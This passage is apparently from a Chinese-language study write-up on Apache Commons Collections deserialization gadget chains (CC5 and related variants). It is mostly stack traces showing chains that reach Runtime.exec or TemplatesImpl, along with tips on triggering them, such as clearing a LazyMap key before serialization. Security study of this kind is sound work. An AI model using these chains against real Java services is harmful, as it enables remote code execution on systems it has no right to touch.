这里的 add 会调用父类 AbstractMapBag.add,同时触发 put
走到了预期的 compare 方法
整体调用链
1 2 3 4 5 6 7 8 9 10 11 12
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486) ... at java.lang.reflect.Method.invoke(Method.java:497) at org.apache.commons.collections4.functors.InvokerTransformer.transform(InvokerTransformer.java:129) at org.apache.commons.collections4.functors.ChainedTransformer.transform(ChainedTransformer.java:112) at org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81) at java.util.TreeMap.compare(TreeMap.java:1291) at java.util.TreeMap.put(TreeMap.java:538) at org.apache.commons.collections4.bag.AbstractMapBag.add(AbstractMapBag.java:257) at org.apache.commons.collections4.bag.AbstractMapBag.add(AbstractMapBag.java:241) at org.apache.commons.collections4.bag.TreeBag.add(TreeBag.java:90) at org.example.Main.main(Main.java:36)
CommonsCollections 5
CC 5 在 CC 3.1 的基础上实现了无 JDK 版本低限制,即 JDK 8+ 都可打通的链子
这里沿用 CC 1 的思路,但不再通过动态代理触发 LazyMap 的 get 方法,找到了一个新的实现接口类:TiedMapEntry
at java.lang.Runtime.exec(Runtime.java:347) ... at java.lang.reflect.Method.invoke(Method.java:497) at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:125) at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122) at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151) at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:73) at org.apache.commons.collections.keyvalue.TiedMapEntry.toString(TiedMapEntry.java:131) at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86) ... at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371) at org.example.Main.main(Main.java:48)
put 操作会导致 innerMap 中产生一个 key。在序列化前,需要手动将这个 key 删掉,否则反序列化时 LazyMap.get(key) 发现 key 已存在,就不会触发 factory.transform()
这里会直接跳过,不会步入 if 语句
调用链
1 2 3 4 5 6 7 8 9 10 11 12 13
at java.lang.Runtime.exec(Runtime.java:347) ... at java.lang.reflect.Method.invoke(Method.java:497) at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:125) at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122) at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151) at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:73) at org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:120) at java.util.HashMap.hash(HashMap.java:338) at java.util.HashMap.readObject(HashMap.java:1397) ... at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371) at org.example.Main.main(Main.java:52)